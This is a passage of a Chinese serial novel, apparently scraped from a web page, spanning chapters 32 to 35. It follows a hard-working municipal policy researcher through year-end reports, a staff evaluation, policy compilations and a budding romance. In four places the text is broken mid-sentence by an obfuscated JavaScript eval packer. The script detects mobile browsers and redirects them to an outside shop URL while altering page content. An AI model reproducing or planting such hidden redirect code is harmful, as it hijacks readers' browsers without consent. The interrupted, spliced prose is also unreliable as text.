调研撰写的《滨河市艾滋病防治对策初探》论文，荣获三等奖，受到主办方河陇省政府研究室主要领导的充分肯定和高度赞扬。文章共11页约5700多字。从我市艾滋病疫情一是吸毒情况严重，吸毒行为和方式发生变化；二是与艾滋病关系密切的性病发病率高，艾滋病流行的危险因素仍然存在；三是社会各界对艾滋病的危害认识不足，有相当一部分人群对HIV/AIDS有歧视态度等特点入手分析，目前我市艾滋病防治工作任务艰巨，形势严峻。全面客观的总结了我市在艾滋病防治工作上，加强组织领导，开展宣传教育和普及防治知识，开展艾滋病监测和病人的治疗工作，坚定不移地推广高危人群调查、国家□□替代治疗试点、反歧视和艾滋病预防知识宣传、落实艾滋病防治优惠办法和扶持政策的干预措施，充分利用艾滋病防治国际合作项目做好我市的艾滋病防治工作等五项主要工作。分析找出了我市艾滋病防治工作存在的一是政府主导、部门协作、社会参与有效防控机制有待进一步加强；二是宣传动员覆盖的范围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173158|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还需进一步的扩大；三是行为干预工作量大，难度高，经费保障不足；四是要进一步加强艾滋病防治的自愿咨询检测工作等主要困难和问题。据此，研究提出了我市艾滋病防治工作，要积极探索建立政府主导、部门协作、社会参与的有效防控机制，加快制定和实施艾滋病防治中长期规划，广泛深入地开展宣传教育工作，实施艾滋病防治“五进”活动工程，加强艾滋病监测网络体系建设和防控工作，严格控制血源性传播，坚定不移地推广干预措施，认真做好疫情监测报告工作，加大艾滋病科研产业和艾滋病防治公益事业的扶持，加大资金投入力度，建立和完善经费保障机制等十项对策措施和建议。 （二）开展了农民工问题的调查研究。 调研起草的《滨河市人民政府关于解决农民工问题的实施意见》，共26页1.2万余字。《实施意见》指出了解决我市农民工问题的重要意义、指导思想、基本原则和奋斗目标，提出了建立健全农民工工资支付保障体系，依法建立和完善农民工劳动管理体系，加快健全农民工就业和培训服务体系，建立健全农民工社会保障体系，建立和完善对农民工的城市公共服务体系，健全维护农民工权益的保障机制，促进农村劳动力就地就近转移就业，促进农村劳动力就地就近转移就业等九大措施，共包括四十三条，被市委、市政府基本采纳应用。调研撰写的《关于解决我市农民工问题的若干思考》，在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅。 （三）深入开展了滨河平安社区建设的调查研究。 参加省政府参事室平安社区的调研活动，起草了《滨河市人民政府办公厅关于开展平安社区调研的通知》，承担了本调研活动的联络和组织协调工作。根据市政府领导批示精神，我室与有关部门组成调研组，深入到滨河区、三滩区、桃林区、兰原县、槐间县10个社区，就创建平安社区工作的基本情况和具体做法，社区建设存在的和需要解决的重大问题等内容进行了深入细致的调查研究，通过采取提供书面材料、召开座谈会、实地走访、查阅资料、问卷调查等方式，与县区、街道领导，社区管理人员和居民群众进行了座谈交流。开展《滨河市平安社区建设的调查研究》课题，参加市软科学课题审报工作，获准列项，力争年内验收完成。撰写的《滨河市平安社区建设调研报告》，在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅。共19页1.1万多字。本文通过深入细致的调查研究，全面客观总结了我市近年来平安社区建设中加强组织领导精心安排部署等九条主要做法，深入分析了在平安社区建设中存在的社区的职能定位不清关系不顺等四个方面的主要问题和困难，提出了我市平安社区建设相应的加快社区立法建设等十条对策建议。 32. 第 32 章 第三十二章看人下菜 （四）参加起草《关于建设滨河出口加工区的汇报》。 调研起草了市政府主要领导向国府院和省上主要领导的《关于建设滨河出口加工区的汇报》材料。共9页4.5万多字。文章提出了滨河设立出口加工区是促进滨河乃至全省和西北地区外向型经济优化升级的需要，是促进滨河经济社会发展的需要，是承接先进地区产业转移、抢占发展良机的需要等的三大必要性和紧迫性；指出了我市地域优势明显，枢纽中转作用日趋增强，矿产资源丰富，农副产品极具特色，外向型经济发展基础良好，发展速度不断加快，经济区内设立出口加工区具有基础设施配套体系逐步健全、进出口贸易额呈现两位数增长、产业特色明显、体制机制创新务实条件优越等四个方面，滨河已完全具备设立出口加工区的条件；介绍了滨河出口加工区总体规划和目前进展情况；最后提出请求国家解决和扶持的有关事项：一是请求国家加快滨河出口加工区的审批工作。二是请求国家将滨河出口加工区建设列入“万商西进”工程的支持范围。三是请求国家给予政策扶持。执行“境内关外”政策，即“五不、四免、二退、一保、一减、一联动”。 （五）开展我市城镇居民基本医疗保险配套改革调研。 根据上级领导指示，我们课题组赴国内城镇居民基本医疗保险先进城市学习考察，起草了《滨河市城镇居民基本医疗保障配套改革赴外考察报告》，搜集了近十个城市城镇居民基本医疗保险的资料，起草了《滨河市城镇居民基本医疗保障配套改革实施的基本框架》，《滨河市城镇居民基本医疗保障配套改革实施的意见》。经过反复修改，撰写完成了《滨河市城镇居民基本医疗保障配套改革实施方案》，一是研究提出了我市城镇居民基本医疗保障配套改革的指导思想、奋斗目标、基本原则；二是提出了我市要在改革卫生资源配置与调控，改革城市医疗卫生服务体系，改革医疗机构管理制度，改革医院运行机制，改革卫生事业经费补助办法，改革医疗服务价格，加□□生行业作风建设等七个方面进一步深化医疗卫生体制改革；三是提出了我市要在推行生产经营规范，确保药品供应质量，调整药品产业结构，形成特色优势产业，加大市场开放力度，开展公平有序竞争，推行现代经营方式，促进集约规模经营，开展集中招标采购，规范药品购销行为，推进药品分类管理，保证群众科学用药，实行医药分开核算，实现医药分别管理，完善药品管理办法，加强药品价格监管，深入开展专项整治，确保群众用药安全，强化药品广告监管，维护群众根本利益，切实转变政府职能，不断优化医保服务环境等十一个方面进一步深化药品生产流通体制改革；四是提出我市要在加大投入力度，支持医疗保障经办管理机构建设，建立服务人群和业务量挂钩的经费保障机制，建立医疗保险管理服务奖惩机制，科学设置参保、缴费、就医、支付等业务流程，实现医疗保障经办机构和定点医疗机构的直接结算，严格审批医保定点医疗机构和定点零售药店，确保定点机构为参保居民提供满意服务，整合现有医保管理资源，加快建设统一高效服务平台，明确社会保障体系难点重点所在，切实解决困难特殊群体基本医疗保障问题，探索制定流动人口在不同地区和不同医保制度之间保险关系转移接续办法，深化乡镇卫生院和村卫生站（所）服务管理体制改革，进一步完善农村医疗卫生服务体系，不断加强经办能力建设，确保新型农村合作医疗保障制度顺利实施，积极推进大额医疗附加保险和商业医疗补充保险，建立健全基本医疗救助体系，加快医疗保障立法建设，为推行医疗保障制度提供法律保证等十一个方面，深化医疗保障体制改革。撰写的《滨河市城镇居民基本医疗保障制度配套改革的若干思考》在《发展研究报告》上登载。 （六）参加筹办新亚欧大路桥区域经济合作国际研讨会。 参加材料组的工作，起草完成了市政府副市长刘吉英《在联合国2007新丝绸之路城市文化周开幕式上的致辞》和在《大型舞剧〈又见莫高〉演出时的致辞》。 （七）开展了“加快滨河现代服务业发展的研究”。 调研起草了《关于加快滨河现代服务业发展，实施“6666”创业工程的意见》，在滨河市人民政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅，得到了市上领导的交口称赞。 （八）开展了我市全民创业情况的调研。 参加省政府全民创业情况的调研，参与起草了向省政府研究室上报的滨河市《关于扶持全民创业的若干政策意见》，结合我市的实际，提出了五个方面25条扶持全民创业政策措施意见和建议。 （九）参与《加快引河入北大川灌区综合开发步伐的若干思考》。 与市委政研室联合调研，参与调研起草了《加快引河入北大川灌区综合开发步伐的若干思考》，在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅，得到了市上领导的交口称赞。 （十）开展全市经济运行分析研究。 组织完成了今年上半年经济运行分析报告的调研编写工作，参与撰写的《滨河市上半年经济运行分析报告》在滨河市政府研究室《调查研究报告》上登载，报送市委、市政府主要领导参阅。 （十一）参加本单位招考选调工作人员的工作。 参加全市选调生的招考工作，与中心选调工作领导小组成员共同努力，为本单位选拔了四名优秀的工作人员等。 （十二）其它工作。 一是加强本处的日常管理工作。坚持签到制度，坚持自学为主的学习制度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177085|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，积极参加本单位和市上的集体活动，室内养花美化办公环境，及时打扫卫生，加强和谐文明建设。二是加强“三库”建设。整理文档资料，及时收集各方面的资料，不断充实“三库”建设。三是负责本单位第二群团小组的工作，组织小组会员学习贯彻上级会议文件精神，搞好会费收缴等。 二、存在的问题和困难 虽然今年的工作取得了可喜的成绩，但离组织和领导的要求还有一定的差距，主要有：一是学习抓得还不够紧；二是“三库”建设还需加强。还缺少打印机，大容量U盘等办公设备；三是工作作风还不够扎实。深入基层比较少，调查研究的方式方法不多，工作创新不够等。 三、明年工作的打算 （一）开展《滨河市基本医疗保险制度配套改革研究》课题的立项审报和深入调研工作。 （二）开展《滨河市全民创业的研究》。 （三）组织搞好全市半年及年度经济运行分析。 （四）积极为全市经济社会发展服务，提出两条以上有价值的对策建议。 （五）完成单位交办的其它各项工作任务。 谢谢大家！”…… “……上面各位同志都作了述职报告，我们分管的主任副主任也都作了些点评，现在进行今天会议的最后一项议程：就是开展民主测评，大家推荐选举优秀和先进，由单位办公室组织进行，佟处长，开始吧。”下午三点开得会，理论学习完了，开始述职，好不容易，各处室各位同事述职结束了，这时五点半已过，金学盛才不紧不慢的说着，最后看一眼对面旁边坐着的疤瘌红脸佟若贤，转头望着大家这样说道。 像规定动作，单位办公室的几个年轻人，清点计算人数，然后分头给大家发民主推荐的表格，下来就是佟若贤老生常谈，让大家先不要急着填表画勾打差差，听他讲如何填表，然后，刚没有过两分钟，手麻利的同事已经填好交表了，单位办公室的这几个年轻人，就在会场里面巡回回收表格。 “民主测评表填好交了就散会。”金学盛看大家有填好表交完了还坐着瞅向他，他也正好填好交了表，就对边起身，边对大家这样宣布道。金学盛第一个走出这大会议室，后面跟着一溜人都出了这会场，各自回自己办公室的，放笔记本和水杯，还有笔。 过几天单位办公室的人送过来一份文件，达恩豪赶紧接了看时，仔细一看，心里又凉了大半截，脸上由希望的微笑和兴奋激动，一下变得阴沉而失望，非常痛恨地咒骂道：“槽卧！垃啊圾！” 原来，达恩豪是这样想的，金学盛主任很重用他，其实是重重地用他，而今年埋头苦干辛勤奋斗一年，听汇报凭感觉，他今年的工作又是做得最好的一个，排名怎么算都是第一，但还是优秀花落别家，与自己无缘，他怎么能不心急生气发火吗！ 33. 第 33 章 第三十三章自觉早干 达恩豪心里那个憋屈，每年自己的工作都是搞得最好最多最快的，到这个单位六七年了，一次优秀公.务.员都给他不评给，自己差不评也行，自己这样优秀不评给，难受得要死。但他转念一想，是金学盛主任故意在磨练他，评不上也是好事，过去的就让他过去，翻年再好好干一年，俗话说得好“是金子迟早会发光的”，泥土是埋没不了的，又道是“功夫不负有心”，老话说的好，“铁棒磨成针，功到自然成”。 想着念着，达恩豪脸色又阴转晴，嘴角上扬，微笑爬上了脸面。他再转念一想，虽然这几年职场失意，但情场得意啊，现在天天晚上，都可以与这长眉细眼身材丰满的年轻美女相伴，相恋相爱了，也是很幸福很甜蜜的一件事，人不能一背到底吧，老天有好生之德，常言道：“老天爷还饿不死个瞎家雀呢”。 达恩豪心想，该干什么还得干什么，收拾好心情，继续努力，明年的优秀一定是我。不但要干，还要积极主动去干，千万别让金学盛和同事们看出自己的痛苦与不高兴，要愉快地去工作，高兴地去调研，欢乐地去写材料。 立即行动，达恩豪没有等领导安排，就主动打电话与市科技局联系，提前准备，又是研究人员，搞调研写材料，编写课题报告，填报课题结题表，又是财会人员，填报课题经费决算表，又是服务人员，代替单位办公室，他们不懂课题，协助市科技局，承担课题验收的会务，甚至，承担课题验收专家组评审意见的初稿起草工作等。一句话，课题从头至尾的全部所有工作，几乎全干了，基本是一个通才全才复合型高级人才无疑。 达恩豪干什么事都细心，不仅仅是谈恋爱特别细心，干工作，搞调研，写材料也都非常细心。好家伙，他下载了滨河市科技网站上的《滨河市科技计划项目验收管理办法》，然后认真学习，按照课题验收时间，程序，内容，方法，步骤和要求，严格执行，给领导金学盛，项目负责人当参谋，当助手。 他认真填写课题《滨河市科技计划项目经费决算表》，及时上报市科技局，《滨河市科技计划项目验收申请书》，课题项目的事，除了调研和写课题报告，主要的和难搞的事情都让达恩豪一个人给干了。 …… 达思豪晚上睡床上继续做梦…… 今天单位没有通知，一般有会有活动有任务都是提前通知，当日不开会，单位领导也没有找他，也没有什么工作任务，主要是不写材料，不下乡蹲点驻村，不搞培训班。这小伙儿认为工作比较清闲的一天。 这小伙儿昨天晚上主动邀请，一块晚上去看电影，美女本不想去，看这小伙儿诚心相邀，情真意切，就点头答应了。两个异性青年相拥相抱的时刻，是相约做事的最好机会。 和这美女约好了要看电影，这小伙儿也无心上班，去上趟卫生间，看单位领导和同事不注意，就偷偷摸摸，出了自己的办公室，悄悄下了单位办公大楼，奔到自己的自行车旁边，开锁推车，拐进长长的一楼楼道，出了单位大楼右侧南端的边门，下三层水泥台阶，东拐，大院里骑上车，再向北走，经过单位大楼左边南部的半幢楼，到大楼门厅前，右拐就出了单位的大门楼，经过一水渠小桥，上到门前的公路上，再向右一拐，就驶向了去县城的路上。 南行大约一公里，沿公路左拐，再行驶两公里，过了铁路道班，下一几十米的小坡，再往右拐上一条公里，就上这个小县城的唯一的主街道。 继续沿公路南行两公里，就进入了这个小县城的中心区，最繁华的地段。小县城的电影只有一家，兰原县电影院，也是唯一一家电影院，就是这最繁华的区域内。 这小伙儿骑着自行车，靠大路的右侧行驶，向左边一偏头瞟一眼，又回来看路骑车。路那边刚经过的地方，是他和这美女天天夜里谈恋爱的地方，看见这家公司大院的大门他就心一热。 话说间，自行车已越过右手路边的，好多门店和机关单位的大楼大院相杂居的地方，稀稀拉拉的，有人进人出，就到了县百货大楼门前，继续前行往路南，就是兰原宾馆，兰原邮电局丁字路口。 达恩豪放缓了脚板踩踏，在这丁字路口，向左骑行，进入另一条比较宽的街道，往前路北面是兰原县委县政府大院，路南面是兰原县邮电局，邮电局东面就是兰原县电影院了。 这个小县城的电影院，正好坐落在县委县政府大门口道路的正对面，一街相隔。电影院是长方形半地下室设计，地面上看是一幢两流水平房建筑，南北长，东西窄，北面的窄面短边是影剧院的大门，门前是个和大门门面等宽的小广场。 这小伙儿县电影院小广场公路边上，跳下自行车，南拐推着自车行进了这小广场，来到这电影院的大门前，停下支撑起自行车，就走到电影院大门东面的卖票窗口下面，看卖票窗口的门洞关闭着，心想，不好，一看卖票的时间，下午三点至五点。 “咣咣咣！”达恩豪轻轻敲这卖票窗口小门洞里，插着的那个小木板子，没有反应，“咣咣咣！”他再重复敲打了几下，仍然是没有一点反应，达恩豪只好作罢，转身回来，骑上自己的自行车，原路返回单位了。 达恩豪骑上自行车，边跨踩脚踏板，边往前行驶，到了兰原宾馆丁字路口，突然眉头一皱计上心来，眼珠一转，自行车没有向右拐上返回单位的路，而是向左拐，继续往南骑自行车，快到兰原县医院门口时，往街道的左边拐过去，放慢速度骑过兰原县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14188103|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门口，立即从自行车上跳下来。 街道边上是一个商店铺面，长长的门头上，书写着“兰原县糖业烟酒公司第三门市部”，前九个字比较小，后五个字比较大，白底红字，有油漆亮光。这小伙儿把自行车停下，找地方支撑站稳自行车，“哧”一声上了车锁，拔出车钥匙，上了两层的水泥台阶，进了这家门市部。 …… 过两天，单位上班时间，办公室通知下来，要求第二天下午五点下班前，上报各处室明年的课题研究提纲。达恩豪接的通知，经济发展研究处的工作就他了个人干，处里其他人都不干，其他人也不知道干什么，怎么干，达恩豪只好自己干。 花了多半天时间，达恩豪弄出来一个课题研究提纲，计划2008年在今年良好基础上，就搞两项课题，第一项课题是《滨河城镇居民基本医疗保险制度配套改革研究》，提纲：（一）国内先进城市城镇居民基本医疗保险制度配套改革经验借鉴；（二）滨河城镇居民基本医疗保险制度配套改革指导思想、奋斗目标、基本原理；（三）进一步深化我市医疗卫生体制改革；（四）进一步深化药品流通体制改革；（五）深化医疗保障体制改革。 第二项课题是《关于加快滨河现代服务业发展，实施“6666”创业工程的研究》，提纲：（一）分析探讨滨河市服务业发展的成效、问题和机遇等现状与形势；（二）提出了滨河加快发展现代服务业的指导思想和基本原则，将今后五年发展目标编制为服务业总产值、非公产值、服务就业和财税比重分别达到60%以上的“6666”创业工程的总体思路；（三）战略重点是着力打造六大产业区块，加快现代服务业聚集：1、启动建设新城区商务中心。2、积极构建北大川空港物流产业区。3、大力发展槐间杨家营高原夏菜物流区。4、加快建设青藏物流园区。5、加快建设禾川堡集装箱及对外贸易物流园区。6、积极建设西城石化物流产业园区。（四）力争实现六大产业突破，全面推进现代服务业发展：1、以兴办华夏国滨河美食节为突破，带动餐饮服务业快速发展。2、以打造文化精品为突破，带动文化产业快速发展。3、以整合黄河风情旅游资源为突破，带动旅游产业快速发展。4、以创新产业运作机制为突破，带动会展经济快速发展。5、以组建大型物流团队为突破，带动物流业快速发展。6、以推进新型业态为突破，带动商贸产业快速发展。（五）采取的基本措施和要做的重点工作…… “达处长，没有什么大事，今年马上结束了，你早准备，早行动，赶紧把今年的经济运行分析报告拿出来。”第二天在单位上班时间，金学盛打电话，把达恩豪叫到主任办公室，坐在自己的办公室椅间，这样对达恩豪说道。 34. 第 34 章 第三十四章购票走眼 “好的，金主任我已经弄着哩，今天星期四，下周三就出来了，交给牛主任修改完，报给您。”达恩豪提着笔记本，聆听了领导的工作安排，坐在对面的双人沙发一头上，就这样痛快地回答金学盛道。 “很好。就这事，你抓紧弄去吧。”金学盛主任又是赞同达恩豪不用安排布置就提前开始干工作，及早动手写材料了，又是继续鞭策鼓励的，这说着站起身来，目送手下走出这办公室。 达恩豪下意识对金学盛点了一下头，拿着笔记本，转身走出了金学盛主任办公室，轻轻带上了这办公室门，奔楼道东面去了。 达恩豪加快写材料的进展，不但早到加班，晚下班加班，双休日也利用上了，中午干脆不回家，在政府大院后面的街道上吃碗牛肉面，又快又省时间，星期一下班前材料就弄出了初稿，星期二自己爬着修改了三四遍，搞掂！星期三上午拿给牛嘉成副主任看，基本没有大的修改意见，稍作小修交给金学盛主任看，也没有提出什么修改意见，直接批给单位办公室套红头文盖章上报正式文件。 这篇材料达恩豪共写了19页，约1万多字，大意如下： “全市2007年经济运行分析 2007年，在……宏观调控继续加强、外部区域竞争更为激烈的大环境下，全市上下坚持“创业实干打硬仗、建设创业型城市”的指导思想和“提前、升位、两位数”的发展目标……创新发展思路，破解发展难题，狠抓招商引资、项目带动和产业优化升级等重点措施的落实，全力促进经济社会又好又快发展。全市经济在较高平台上继续保持较快增长，总体呈现“增势稳健、后劲提升、活力增强、协调发展、民生改善”的良好态势。 一、2007年全市经济运行总体判断 2007年，全市经济继续保持两位数增长，高于全省平均水平，综合实力和发展水平迈上新台阶。 （一）国民经济平稳运行，结构效益明显提升 总体来看，全市国民经济在结构调整和发展方式转变中稳步增长，三次产业呈现出“一稳、二快、三提高”的发展格局…… （二）农业生产稳步发展，农村活力不断增强 ……一是农业经济结构调整力度不断加大……二是农业产业化经营力度不断增强……三是新农村建设稳步推进……四是农村基础设施和生态建设不断加强……五是农业多功能性开始凸现…… （三）工业经济高位运行，节能减排初见成效 ……一是工业经济运行质量进一步好转……二是工业固定资产投资增长较快……三是全力振兴装备制造业……四是节能减排力度进一步加大…… （四）非公经济再创佳绩，第三产业蓬勃发展 全面落实鼓励非公有制经济发展的各项政策措施，通过采取培育知名企业和产品、加强ISO9000质量体系认证前期培训、举办专场人才招聘会、开展职业培训和就业辅导、引导非公企业参与国企改革和资产重组、加快体制创新等工作，努力构建具有滨河特色的有较强市场竞争力的“小巨人”企业群体，不断做大做强重点行业…… （五）财政收入快速增长，金融运行态势平稳 2007年，全市财政预算执行情况较好，预计地区性财政收入实现……一般预算收入完成……金融运行平稳，全市金融机构存款大幅增加，11月末各项存款余额达到…… （六）投资保持一定强度，项目建设势头良好 由于受国家宏观调控的影响，加上近几年投资高增长带来的同期基数较大的因素，2007年全市固定资产投资增幅不大，但总体投资仍能保持一定强度…… （七）社会事业全面进步，经济社会协调发展 ……一是教育发展迈出新步伐……二是医疗卫生事业有了新发展……三是文化体育活动异彩纷呈…… （八）民生质量显著提高，社会大局和谐稳定 全市上下按照构建和谐社会的要求，从群众最关心、最直接、最现实的问题入手，把民生问题摆到各项工作的首位，社会保障体系进一步完善…… 二、2007年全市经济运行中值得关注的问题 ……概括起来表现为五个“压力加大”： 一是产业结构调整压力加大…… 二是企业融资压力加大…… 三是物价上涨压力加大…… 四是农民增收压力加大…… 五是房地产业压力加大…… 三、2008年全市经济发展展望 2008年是全面贯彻落实……的第一年，也是我市实施“十一五”规划承上启下的关键年…… （一）形势预测 从环境因素分析，体制和政策环境将更加有利于我市经济协调较快发展。一是2008年国家继续实行“双稳健”政策……二是我市经济高速增长的惯性效应将会显现……三是全市新农村建设将面临新的发展机遇…… 但同时也应看到，2008年我市经济发展面临的挑战和压力也不少…… 通过上述综合分析，结合我国经济运行中出现的新特征新问题和新趋势，2008年，我市面临的宏观预期环境总体上依然向好…… （二）对策建议 1.密切关注国家政策变化，加强经济运行调节 ……2007年，全市经济的加快增长，在一定程度上是近几年经济高增长平台的自然延伸，反映了经济发展的阶段性特征，表现在消费明显提升、产业转移进程加快…… 2.加快经济增长方式转变，提高经济运行效益 一是加快产品升级换代步伐……二是优化出口产品结构……三是拓展服务业发展新的领域…… 3.扎实推进“工业强市”战略，立足优势产业谋求发展 ……一是扶持优势产业发展……二是积极争取金融对企业的支持……三是加快构建节能型产业体系…… 4.切实抓好新农村建设,努力改善农村生产生活条件 ……一是推进农业产业化经营……二是大力发展劳务经济……三是加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197089|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大农村基础设施建设力度……四是发展农村社会事业……五要抓好扶贫开发…… 5.调整投资结构，保持投资的较快增长 ……一是大力推进市区项目建设……二是狠抓新开工项目，集中力量保障重点项目建设……三是努力在利用外资上取得突破…… 6.加强市场建设，努力扩大居民即期消费 加快完善城市养老、医疗、失业、住房公积金的社会保障工作…… 7.加快推进各项改革，建立统筹发展的体制机制 ……一是进一步深化国有企业改革……二是全面推进农村综合改革……三是深化行政管理体制改革……四是加快地方金融及资本等要素市场改革…… 滨河市政府研究室” …… 达恩豪下午下班回家，吃完饭看了电视后，躺在床上就睡着了…… 这小伙儿回到单位，心不在蔫地坐在办公室里，翻看专业技术方面的一些书籍，神情不定，静不下心来，也看不进去书，就抬左手腕看了一下手表，十一点半刚过，起身移步窗前，打开一扇窗户，爬到窗口头伸向外面，向北面楼下一排平房张望，回来后就悄悄出来办公室，转身轻轻关上这房间的门，一溜烟下四楼到一楼。 单位大楼门厅前七八米，就是单位大院的大门楼，两扇灰色铁皮大门，约在门洞三分之二高。单位大门两边铁栅栏围墙外，是一排南北向沿门前公路的稀疏的白杨树绿化带，约有三四米宽，树高大都有三米多，比人高出一截。这绿化带与门前的柏油路之间，有一条沿公路南北向的排水小沟渠，渠宽不到半米。 初夏的天气，开始热了。单位大门前绿化带的杨树，个个挺拔精神，笔直站立，轻风吹着绿叶婆娑，阳光照得满目银光闪烁，满身碎玉装扮，像一条天河，横垣在这小伙儿单位的大院门前。这边他，小伙儿像是牛郎似的，那边的美女似织女一样…… 出了南侧门，这小伙儿边偏头看着大院门前绿化带想心事，一边东拐北转，从单位大楼南端向北走，从大楼门厅前穿过，走到大楼前的北头，继续往前，再穿过大院北侧的水泥场地，就到了单位大灶了，一排平顶房的中间一间房的门前。 “小达，这么早就下班了。稍一坐，饭马上就好了。”这时，一个又黑又红脸蛋的中等身材中年妇女，走出单位食堂的套间门，对达恩豪一脸笑着这样说道。虽然脸色黑点红点，但五官庄，一笑还有两酒窝，挺有几分姿色，当年姑娘时的风韵犹存。 听这话，很亲切，难道这个女大师傅（兰原本地人习惯称呼厨师为大师傅）对这小伙儿挺熟悉的。的确，早在五六年前，与这小伙儿就认识这个女大师傅，那时这个女大师傅还没有来这个单位做饭当厨师。与这小伙儿同在一个乡政府上班的她丈夫，一起在她乡上单身宿舍里吃过饭，她丈夫邀请这小伙儿去宿舍吃干拌拉条子。 “大师傅，闻着好香，今天做什么好吃的了？”这小伙儿故意又是喊大师傅，又是称赞大师傅饭做得好，走过来，站在这个女大师傅面前，夸张地笑着这样说道。 35. 第 35 章 第三十五章相约影院 “达处长，有个任务交给你，这个月底就要搞出来，弄个政策汇编小册子。”第二天，单位上班时间，金学盛主任打电话，对达恩豪说，你过来一下，要叫他去自己的办公室。当他落座主任办公室里，靠窗户里面的一个单人沙发上时，金学盛对他这样说道。领导给下属布置安排工作，不论是会议，还是私下单个，都是高高在上，勿容置疑的样子。 “金主任，政策太多了，汇编必须有个重点，请问主要是汇编那一方面的政策？”达恩豪想元月底就拿出汇编，你领导说得容易，轻松就唾手可得似的，起码得有个干活的方向，工作的重点不是，免得领会不了上级的意图，白忙乎，就皱了一下眉头，升起右手挠了一抓头，微笑着用揣测试探的口吻这样请示上司道。 “好的，达处长我意是经济方面的重要的主要的政策，你看怎么样？”金学盛身背往后一靠扶手椅子，吊眼居高临下有点蔑视地瞥一眼达恩豪，也有点吃惊眼前下级提问似的，但却用商量和征求意见的口气，对面前的下属这样又是说明又是反问的道。 “金主任，还有就是政策包括那个层级的？”达恩豪坐着又向前倾了倾身子，然后眼珠子这么一滴溜溜一转，继续向面前的领导请教，微笑着继续对金学盛提出这汇编材料方面新的一个问题来。 “那当然是国家的重要经济政策必须汇编，我们河陇省的重要经济政策要汇编，我们市的重要经济政策也得汇编进去，你说呢？”金学盛在扶手椅子上坐直了身子，掰着左手手指头，说一句先伸大姆指，再说一句伸出食指，然后说一句然后伸出中指，最后反问一句，商量和征求达恩豪的意见道。 “金主任我完全赞同，就汇编国家省市三级主要经济政策。好的，按照您说的思路，我先收集整理汇编。”达恩豪和领导请求询问，最后敲定清楚了汇编的一些重大的原则性的问题，又是拥护上司决定，又是给上级打保票，又是给领导承诺的这样说道。说完了就起身拿着笔记本和笔，告别金学盛，离开了主任办公室。 揣摸清楚了领导意图，那可是要少走不少的弯路。为了工作，达恩豪也不顾领导麻烦，不看上司对他精明细心的嫌弃，最起码能少下点冤枉苦的，所以也并不在意。 达恩豪每天上班，有工作任务压身，又是电脑上上网查资料，建立单独的文档，复制粘贴，下载文件，编辑排版，统一格式标准，分清字体和字号，文字校对。天天盯着电脑屏幕，敲敲打打，同事上班时，他已上班了，同事下班时，他还得忙一阵子。就这样，整整忙乎了两星期多时间，一本政策文件汇编的小册子就弄出来了，按照金学盛说的时间，提前几天完成了任务。 “达处长，我看这本汇编很好，尽快打印装订成册，立即给市委市政府领导，不，还有人大政协，四大家领导们都送一份，不，再给四大家的办公厅也要送。”金学盛主任伏案细看一遍这个汇编材料清样稿后，直起身来，抬头微笑着对达恩豪这样说道。 “金主任，那我们一共弄上多少本报送领导的？” “你就先弄上60本，不够送了再加印。” “好的。” 这份汇编材料的正文内容太多，七大类，包括53件政策文件，一本不薄不厚的小册子，封面标题，编写单位，汇编时间及文件目录如下： “2007年经济社会政策选编 滨河市政府研究室 二OO八年元月 目录 综合经济 高举……伟大旗帜为夺取全面建设……新胜利而奋斗 ━━在……第十七次全国代表大会上的报告 ……滨河市委关于认真学习贯彻……精神努力促进滨河经济社会又好又快发展的决定 滨河市政府办公厅关于印发滨河市2007年国民经济和社会发展计划的通知 三农工作 ……中央国府院关于积极发展现代农业扎实推进……新农村建设的若干意见 国府院关于促进畜牧业持续健康发展的意见 国府院关于完善退耕还林政策的通知 国府院关于促进奶业持续健康发展的意见 国府院办公厅关于严格执行有关农村集体建设用地法律和政策的通知 河陇省政府办公厅关于加快旱作农业发展的意见 河陇省政府办公厅关于加快发展农民专业合作社的意见 